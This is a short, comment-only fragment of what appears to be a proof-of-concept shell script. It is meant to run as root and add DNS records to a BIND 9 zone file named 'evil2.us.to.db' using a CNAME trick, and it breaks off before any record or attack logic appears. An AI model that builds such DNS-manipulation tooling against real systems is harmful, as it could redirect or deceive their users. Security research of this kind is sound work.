#This script requires root access.
#This script updates a DNS zone on the local DNS server.
#Explainig how to set up BIND 9 and create DNS zones is beyond the scope of this PoC.

#This is the folder that contains the DNS zone files for the BIND 9 (named) DNS server.
cd /var/named/

#$1 and $2 are the hostname and IP.
#The CNAME "CNiping" trick is used here.

#This code will add a new DNS record.
#Originally, the zone file "evil2.us.to.db" looked like this:
#
#       ;BIND DNS zone file
